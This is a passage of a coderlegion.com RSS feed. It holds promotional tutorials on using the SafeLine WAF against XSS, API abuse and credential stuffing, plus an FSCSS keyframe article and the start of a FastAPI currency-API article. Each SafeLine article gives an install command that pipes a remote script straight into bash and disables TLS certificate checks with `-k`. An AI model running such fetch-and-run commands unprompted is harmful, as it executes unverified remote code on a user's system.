&lt;p&gt;SafeLine, a self-hosted WAF, does this with a &lt;strong&gt;semantic detection engine&lt;/strong&gt; that analyzes request content rather than matching a static signature list. It catches XSS patterns in parameters and bodies — including the kinds of encoding tricks attackers use to slip past naive filters — and drops the request at the edge.&lt;/p&gt;
&lt;p&gt;A WAF is especially valuable as a safety net: even if a new input path ships without perfect escaping, the WAF catches the payload on the way in.&lt;/p&gt;
&lt;h3 id=&quot;but-a-waf-is-one-layer-not-the-whole-story&quot;&gt;But a WAF is one layer, not the whole story&lt;/h3&gt;
&lt;p&gt;XSS defense is layered, and the application side matters just as much:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Output encoding / escaping&lt;/strong&gt; — encode data for the context it's rendered in (HTML, attribute, JS, URL). This is the primary control.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content-Security-Policy (CSP)&lt;/strong&gt; — restrict which scripts can execute, drastically limiting the blast radius of any XSS that slips through.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Input validation&lt;/strong&gt; — reject or sanitize unexpected input at the boundary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HttpOnly + Secure cookies&lt;/strong&gt; — make session cookies unreadable to script, so even a successful XSS can't easily steal a session.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Framework protections&lt;/strong&gt; — most modern frameworks auto-escape; keep them on and avoid &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;-style escapes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Think of the WAF as the perimeter and the app-side controls as the inner wall. Both should be in place.&lt;/p&gt;
&lt;h3 id=&quot;deploying-the-waf-layer&quot;&gt;Deploying the WAF layer&lt;/h3&gt;
&lt;p&gt;Bring up SafeLine as a reverse proxy in front of your app:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the console at &lt;code&gt;https://&amp;lt;your-server-ip&amp;gt;:9443&lt;/code&gt;, add your site and point its upstream at your app. With request filtering enabled, XSS payloads are blocked at the edge. Pair that with CSP and output encoding in your code, and XSS becomes a solved class of problem.&lt;/p&gt;
&lt;h3 id=&quot;faq-3&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;does-a-waf-fully-prevent-xss-on-its-own-&quot;&gt;Does a WAF fully prevent XSS on its own?&lt;/h4&gt;
&lt;p&gt;It blocks the majority of automated and known payloads, but it shouldn't be your only control. CSP and output encoding are still essential.&lt;/p&gt;
&lt;h4 id=&quot;will-xss-filtering-break-legitimate-form-input-&quot;&gt;Will XSS filtering break legitimate form input?&lt;/h4&gt;
&lt;p&gt;Normal text passes through; only payloads that match attack patterns are blocked. Sanity-check your real forms after enabling, as you would with any new filter.&lt;/p&gt;
&lt;h4 id=&quot;is-safeline-s-detection-signature-based-&quot;&gt;Is SafeLine's detection signature-based?&lt;/h4&gt;
&lt;p&gt;No — it uses a semantic engine that evaluates request intent, which catches obfuscated or encoded payloads that simple pattern lists miss.&lt;/p&gt;
&lt;h4 id=&quot;do-i-need-to-change-app-code-to-add-the-waf-&quot;&gt;Do I need to change app code to add the WAF?&lt;/h4&gt;
&lt;p&gt;No. It runs in front of your app as a proxy, so the filtering is infrastructure, not application logic.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;That's it — your app now has a request-filtering layer against XSS at the edge.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28987/how-to-prevent-xss-with-a-waf-filter-the-payload-before-it-lands</guid>
<pubDate>Tue, 29 Sep 2026 03:12:37 +0000</pubDate>
</item>
<item>
<title>Self-Hosted API Protection: How to Put a WAF in Front of Your API</title>
<link>https://coderlegion.com/28986/self-hosted-api-protection-how-to-put-a-waf-in-front-of-your-api</link>
<description>&lt;h2 id=&quot;self-hosted-api-protection-how-to-put-a-waf-in-front-of-your-api&quot;&gt;Self-Hosted API Protection: How to Put a WAF in Front of Your API&lt;/h2&gt;
&lt;p&gt;APIs are where the valuable data lives — and where attackers go first. A public API endpoint is a direct door to your logic, your database, and your users' sessions. If you self-host your API, you can also self-host its first line of defense: a WAF sitting in front of it, filtering traffic before it reaches your handlers.&lt;/p&gt;
&lt;p&gt;Here's how to protect a self-hosted API with a WAF, and where SafeLine fits.&lt;/p&gt;
&lt;h3 id=&quot;why-apis-are-attractive-targets&quot;&gt;Why APIs are attractive targets&lt;/h3&gt;
&lt;p&gt;Unlike a rendered web page, an API speaks machine-to-machine — and that means requests are structured, predictable, and easy to script. Attackers go after:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Authentication endpoints&lt;/strong&gt; — credential stuffing, token abuse, brute force.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Injection in parameters&lt;/strong&gt; — SQL or command injection through query strings and JSON bodies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Abuse and scraping&lt;/strong&gt; — automated clients hammering endpoints for data or compute.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malformed payloads&lt;/strong&gt; — probing for parser or deserialization bugs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A WAF can't fix a broken auth scheme, but it can stop the bulk of automated abuse at the edge.&lt;/p&gt;
&lt;h3 id=&quot;what-a-waf-does-for-an-api&quot;&gt;What a WAF does for an API&lt;/h3&gt;
&lt;p&gt;Placed as a reverse proxy in front of your API service, a WAF:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Inspects every request&lt;/strong&gt;, including JSON bodies and query parameters, for attack patterns.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blocks injection and known malicious payloads&lt;/strong&gt; before they reach your code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate limits&lt;/strong&gt; per client, per key, or per path — so one abusive caller can't monopolize the API.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manages bots&lt;/strong&gt;, separating automated tooling from legitimate integrations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;where-safeline-fits&quot;&gt;Where SafeLine fits&lt;/h3&gt;
&lt;p&gt;SafeLine is a self-hosted WAF that runs in reverse-proxy mode, so you point your API's traffic at it and it forwards clean requests to your upstream service. For API protection specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Its &lt;strong&gt;semantic detection engine&lt;/strong&gt; analyzes request content — parameters, headers, and bodies — to catch injection and malicious payloads that static rules miss.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate limiting&lt;/strong&gt; can be applied per path, which is ideal for throttling login, token, or search endpoints.&lt;/li&gt;
&lt;li&gt;It's &lt;strong&gt;self-hosted and free to run&lt;/strong&gt; (Community Edition covers up to 10 apps at 800 QPS), so protecting an internal or public API doesn't add a vendor bill.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SafeLine won't replace proper auth and input validation in your code — but it removes the flood of automated junk so your application logic only sees traffic worth handling.&lt;/p&gt;
&lt;h3 id=&quot;putting-it-in-front-of-your-api&quot;&gt;Putting it in front of your API&lt;/h3&gt;
&lt;p&gt;Deploy SafeLine as the proxy in front of your API service:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the console at &lt;code&gt;https://&amp;lt;your-server-ip&amp;gt;:9443&lt;/code&gt;, add a site whose upstream is your API (for example &lt;code&gt;http://127.0.0.1:8080&lt;/code&gt;). Route your API's DNS or gateway at SafeLine's listener, then set rate limits on your most-sensitive paths (auth, token refresh). From there, every request is filtered and throttled before it touches your API.&lt;/p&gt;
&lt;h3 id=&quot;faq-4&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;does-a-waf-replace-api-authentication-&quot;&gt;Does a WAF replace API authentication?&lt;/h4&gt;
&lt;p&gt;No. You still need solid auth and authorization in your app. A WAF stops automated abuse and injection; it doesn't decide who's allowed in.&lt;/p&gt;
&lt;h4 id=&quot;will-it-break-legitimate-api-clients-&quot;&gt;Will it break legitimate API clients?&lt;/h4&gt;
&lt;p&gt;Rate limits are set above normal client behavior, and the detection engine targets malicious patterns — legitimate requests pass through. Test against your real client traffic when configuring.&lt;/p&gt;
&lt;h4 id=&quot;can-it-inspect-json-request-bodies-&quot;&gt;Can it inspect JSON request bodies?&lt;/h4&gt;
&lt;p&gt;Yes — a semantic engine evaluates the request content, including structured bodies, rather than only matching URLs or headers.&lt;/p&gt;
&lt;h4 id=&quot;is-this-free-to-self-host-&quot;&gt;Is this free to self-host?&lt;/h4&gt;
&lt;p&gt;The Community Edition is free to run indefinitely and covers up to 10 apps at 800 QPS, which is plenty for a typical API footprint.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;That's it — your API now has a filtering and rate-limiting layer in front of it.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28986/self-hosted-api-protection-how-to-put-a-waf-in-front-of-your-api</guid>
<pubDate>Tue, 29 Sep 2026 03:10:29 +0000</pubDate>
</item>
<item>
<title>How to Stop Credential Stuffing Attacks: Protect Your Login Endpoints</title>
<link>https://coderlegion.com/28850/how-to-stop-credential-stuffing-attacks-protect-your-login-endpoints</link>
<description>&lt;h2 id=&quot;how-to-stop-credential-stuffing-attacks-protect-your-login-endpoints&quot;&gt;How to Stop Credential Stuffing Attacks: Protect Your Login Endpoints&lt;/h2&gt;
&lt;p&gt;Credential stuffing is one of the most common — and most quietly damaging — attacks against web apps. It's not a clever exploit of a zero-day; it's brute force at scale, using passwords stolen from other breaches to log into accounts elsewhere. If your users reuse passwords (most do), some of those attempts will eventually work.&lt;/p&gt;
&lt;p&gt;The good news: credential stuffing is largely automated, and automated traffic is exactly what a WAF placed in front of your login endpoint is good at stopping. Here's a practical defense.&lt;/p&gt;
&lt;h3 id=&quot;what-credential-stuffing-looks-like&quot;&gt;What credential stuffing looks like&lt;/h3&gt;
&lt;p&gt;An attacker feeds a list of &lt;code&gt;email:password&lt;/code&gt; pairs — harvested from past breaches — into a script that fires login requests at your site. Two traits give it away:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Volume from few sources&lt;/strong&gt; — thousands of attempts from a narrow set of IPs or a botnet.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automated behavior&lt;/strong&gt; — requests arrive faster than a human types, often with missing headers, fingerprinted clients, or shared user-agents.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Humans don't log in 500 times a minute. Bots do.&lt;/p&gt;
&lt;h3 id=&quot;layer-your-defenses&quot;&gt;Layer your defenses&lt;/h3&gt;
&lt;p&gt;No single control stops everything, but a few stack cleanly:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Rate limit the login path.&lt;/strong&gt; Cap how many attempts a single IP or account can make per minute. Genuine users rarely need more than a handful.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detect and challenge bots.&lt;/strong&gt; Identify automated clients by behavior, not just IP, and challenge or block the ones that look like stuffing tools.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Add MFA or step-up auth&lt;/strong&gt; for suspicious logins. Even a correct password from a flagged session hits a second factor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Watch for credential-stuffing signatures&lt;/strong&gt; — known-bad IP ranges, impossible travel, and repeated failures across many accounts.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;where-safeline-fits-1&quot;&gt;Where SafeLine fits&lt;/h3&gt;
&lt;p&gt;SafeLine is a self-hosted WAF that sits in reverse-proxy mode in front of your app, so every login request passes through it first. For credential stuffing specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Its &lt;strong&gt;semantic detection engine&lt;/strong&gt; inspects requests and flags abnormal or malicious patterns before they reach your login handler.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bot management&lt;/strong&gt; distinguishes automated clients from real users, so scripted stuffing traffic can be throttled or blocked.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Frequency/rate limiting&lt;/strong&gt; can be applied per path — including your login endpoint — to cap attempts and starve the attack of throughput.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SafeLine won't replace MFA, but it removes the bulk of automated noise before it ever touches your application logic.&lt;/p&gt;
&lt;h3 id=&quot;putting-it-in-front-of-login&quot;&gt;Putting it in front of login&lt;/h3&gt;
&lt;p&gt;Deploy SafeLine as the reverse proxy in front of your service:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the console at &lt;code&gt;https://&amp;lt;your-server-ip&amp;gt;:9443&lt;/code&gt;, add your app and point its upstream at your login service. Then configure a frequency limit on the login route so no single source can hammer it. From that point, login attempts are filtered and rate-limited at the edge.&lt;/p&gt;
&lt;h3 id=&quot;faq-5&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;does-a-waf-alone-stop-credential-stuffing-&quot;&gt;Does a WAF alone stop credential stuffing?&lt;/h4&gt;
&lt;p&gt;It removes the bulk of automated traffic, but pairing it with MFA and account-level lockouts closes the gaps a WAF can't see.&lt;/p&gt;
&lt;h4 id=&quot;will-rate-limiting-lock-out-real-users-&quot;&gt;Will rate limiting lock out real users?&lt;/h4&gt;
&lt;p&gt;Set limits above normal human behavior (a few attempts per minute), and legitimate users are unaffected while bots are throttled.&lt;/p&gt;
&lt;h4 id=&quot;is-this-the-same-as-a-brute-force-attack-&quot;&gt;Is this the same as a brute-force attack?&lt;/h4&gt;
&lt;p&gt;Similar, but credential stuffing uses &lt;em&gt;real&lt;/em&gt; leaked credentials rather than guessing randomly — which is why detecting automation matters more than detecting wrong passwords.&lt;/p&gt;
&lt;h4 id=&quot;do-i-need-to-change-my-app-code-&quot;&gt;Do I need to change my app code?&lt;/h4&gt;
&lt;p&gt;No. SafeLine operates in front of your app as a proxy, so the defense is infrastructure, not application logic.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;That's it — your login endpoint now has a layer of automated protection in front of it.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28850/how-to-stop-credential-stuffing-attacks-protect-your-login-endpoints</guid>
<pubDate>Mon, 28 Sep 2026 02:21:08 +0000</pubDate>
</item>
<item>
<title>FSCSS auto-loop: percentage keyframes</title>
<link>https://coderlegion.com/28689/fscss-auto-loop-percentage-keyframes</link>
<description>&lt;p&gt;This snippet builds a &lt;strong&gt;stepped “processing 0% → 99% → done”&lt;/strong&gt; animation by &lt;strong&gt;looping an array into &lt;code&gt;@keyframes&lt;/code&gt; percentages&lt;/strong&gt; — not a JS timer.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;setup-2&quot;&gt;Setup&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;npm install -g fscss@latest&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;VS Code: &lt;strong&gt;FSCSS&lt;/strong&gt; language support (&lt;a rel=&quot;nofollow&quot; href=&quot;https://marketplace.visualstudio.com/items?itemName=Figsh.fscss&quot;&gt;FSCSS Support&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;File: &lt;code&gt;my-first-fscss.fscss&lt;/code&gt; → compile or runtime-load&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id=&quot;source-your-idea-tightened-&quot;&gt;Source (your idea, tightened)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;h2::after {
  content: &quot;...&quot;;
  animation: count 10s steps(100) forwards;
}

/* 1, 2, … 99  (auto list for keyframe stops) */
@arr numlist[count(99)]

@define counter(start:ing..., process:ing..., end:ed){`
  0% {
    content: &quot;@use(start)0%&quot;;
  }
  @arr.numlist[]% {
    content: &quot;@use(process)@arr.numlist[]%&quot;;
  }
  100% {
    content: &quot;@use(end)&quot;;
  }
`}

@keyframes count {
  @counter(Processing..., Processing..., Processed)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-auto-loop-is-here&quot;&gt;What “auto-loop” is here&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Piece &lt;/th&gt;&lt;th&gt;Role&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;count(99)&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Builds a numeric list used as &lt;strong&gt;1–99&lt;/strong&gt; (engine: &lt;code&gt;count(n)&lt;/code&gt; / &lt;code&gt;count(n, 1)&lt;/code&gt; → index list).&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;@arr numlist[…]&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Stores that list.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;@arr.numlist[]&lt;/code&gt; &lt;/td&gt;&lt;td&gt;&lt;strong&gt;Auto-index&lt;/strong&gt;: expand once per item.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;@arr.numlist[]%&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Each item becomes a &lt;strong&gt;keyframe selector&lt;/strong&gt;: &lt;code&gt;1%&lt;/code&gt;, &lt;code&gt;2%&lt;/code&gt;, … &lt;code&gt;99%&lt;/code&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;@define counter(…)&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Template for the keyframe body; &lt;code&gt;@use(start|process|end)&lt;/code&gt; fills labels.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;@counter(…)&lt;/code&gt; inside &lt;code&gt;@keyframes&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Injects the whole ladder into &lt;code&gt;count&lt;/code&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;So the loop is &lt;strong&gt;compile-time expansion&lt;/strong&gt;, not &lt;code&gt;for&lt;/code&gt; in the browser.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;breakdown&quot;&gt;Breakdown&lt;/h3&gt;
&lt;h4 id=&quot;1-target&quot;&gt;1. Target&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;h2::after {
  content: &quot;...&quot;;
  animation: count 10s steps(100) forwards;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Animates &lt;strong&gt;&lt;code&gt;content&lt;/code&gt;&lt;/strong&gt; on the pseudo-element.  &lt;/li&gt;
&lt;li&gt;&lt;code&gt;steps(100)&lt;/code&gt; ≈ one visual step per percent over 10s.  &lt;/li&gt;
&lt;li&gt;&lt;code&gt;forwards&lt;/code&gt; keeps the final &lt;code&gt;Processed&lt;/code&gt; text.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;2-index-array&quot;&gt;2. Index array&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@arr numlist[count(99)]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same family as modules indexes: a list long enough to drive stops. Here each value is also the &lt;strong&gt;percentage number&lt;/strong&gt; in the output.&lt;/p&gt;
&lt;h4 id=&quot;3-reusable-keyframe-block&quot;&gt;3. Reusable keyframe block&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@define counter(start:…, process:…, end:…){` … `}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0%&lt;/code&gt;&lt;/strong&gt; — intro label + &lt;code&gt;0%&lt;/code&gt;.  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;@arr.numlist[]%&lt;/code&gt;&lt;/strong&gt; — for each &lt;code&gt;n&lt;/code&gt; in &lt;code&gt;numlist&lt;/code&gt;, emit:&lt;ul&gt;
&lt;li&gt;selector: &lt;code&gt;n%&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;content: &quot;&amp;lt;process&amp;gt;n%&quot;&lt;/code&gt;  &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;100%&lt;/code&gt;&lt;/strong&gt; — final label only (e.g. &lt;code&gt;Processed&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;4-wire-into-a-named-animation&quot;&gt;4. Wire into a named animation&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@keyframes count {
  @counter(Processing..., Processing..., Processed)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expands to a long &lt;code&gt;@keyframes count { … }&lt;/code&gt; with ~100 content stops.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;shape-of-compiled-css-illustrative-&quot;&gt;Shape of compiled CSS (illustrative)&lt;/h3&gt;
&lt;p&gt;Exact quoting depends on the compiler; structure is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;h2::after {
  content: &quot;...&quot;;
  animation: count 10s steps(100) forwards;
}

@keyframes count {
  0% {
    content: &quot;Processing...0%&quot;;
  }
  1% {
    content: &quot;Processing...1%&quot;;
  }
  2% {
    content: &quot;Processing...2%&quot;;
  }
  /* … */
  99% {
    content: &quot;Processing...99%&quot;;
  }
  100% {
    content: &quot;Processed&quot;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the auto-loop: &lt;strong&gt;one array walk → many keyframe rules&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;example-html&quot;&gt;Example HTML&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
  &amp;lt;title&amp;gt;FSCSS auto-loop counter&amp;lt;/title&amp;gt;
  &amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/fscss@1.2.4/runtime.min.js&quot; async&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;link type=&quot;text/fscss&quot; href=&quot;my-first-fscss.fscss&quot;&amp;gt;
  &amp;lt;!-- or: &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;my-first-fscss.css&quot;&amp;gt; after CLI --&amp;gt;
  &amp;lt;style&amp;gt;
    body {
      font-family: system-ui, sans-serif;
      padding: 2rem;
      background: #0f172a;
      color: #e2e8f0;
    }
    h2 {
      font-size: 1.25rem;
      font-weight: 600;
    }
    h2::after {
      margin-left: 0.35em;
      color: #38bdf8;
    }
  &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;h2&amp;gt;Status&amp;lt;/h2&amp;gt;
  &amp;lt;!-- ::after shows Processing...0% → … → Processed --&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;compile&quot;&gt;Compile&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;fscss my-first-fscss.fscss my-first-fscss.css
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;mental-model&quot;&gt;Mental model&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;count(99)  →  list of stops
@arr.x[]%  →  “for each item, emit item% { … }”
@define    →  reuse labels (start / process / end)
@keyframes →  holds the expanded ladder
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Auto-loop&lt;/strong&gt; = array auto-index used as &lt;strong&gt;keyframe percentages&lt;/strong&gt; (or selectors elsewhere), so one definition drives N rules.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;variants&quot;&gt;Variants&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Progress label only: change &lt;code&gt;@use(process)&lt;/code&gt; strings.  &lt;/li&gt;
&lt;li&gt;Fewer steps: &lt;code&gt;count(20)&lt;/code&gt; + shorter animation / &lt;code&gt;steps(20)&lt;/code&gt;.  &lt;/li&gt;
&lt;li&gt;Same pattern for staggered selectors: &lt;code&gt;*Emails are not allowed*[] { animation-delay: … }&lt;/code&gt; (as in arrays docs).&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28689/fscss-auto-loop-percentage-keyframes</guid>
<pubDate>Sat, 26 Sep 2026 07:18:17 +0000</pubDate>
</item>
<item>
<title>How I Built and Monetized a Currency Exchange Rate API with FastAPI, Deployed it on Render, and Published it on RapidAPI.</title>
<link>https://coderlegion.com/28516/built-monetized-currency-exchange-rate-with-fastapi-deployed-render-published-rapidapi</link>
<description>&lt;p&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;br&gt;
In order to build passive income streams, I decided to publish APIs on RapidAPI. The idea is straightforward: build a useful API once, set up freemium pricing tiers, and earn recurring monthly income from subscribers.&lt;br&gt;
In this post we will see how I built a Currency Exchange Rate API using FastAPI and Python, deployed it on Render, and published it on RapidAPI. I'll walk through the entire process including a debugging issue that cost me a few hours and might save you the same frustration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Tech Stack&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;FastAPI — chose this over Flask and Express because it auto-generates interactive API documentation at /docs out of the box, which is extremely useful when setting up and testing endpoints before publishing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Python — straightforward for API work, massive community support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ExchangeRate-API — free data source providing live rates for 160+ currencies, no scraping needed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Render — free tier hosting with simple GitHub deployment&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;RapidAPI — marketplace where developers discover and subscribe to APIs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The Three Endpoints&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;# 1. Get latest rates for any base currency
GET /latest?base=USD

# 2. Convert between two currencies
GET /convert?from=USD&amp;amp;to=INR&amp;amp;amount=100

# 3. List all supported currencies
GET /currencies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here's the core conversion endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@app.get(&quot;/convert&quot;)
async def convert_currency(
    from_currency: str = Query(alias=&quot;from&quot;),
    to_currency: str = Query(alias=&quot;to&quot;),
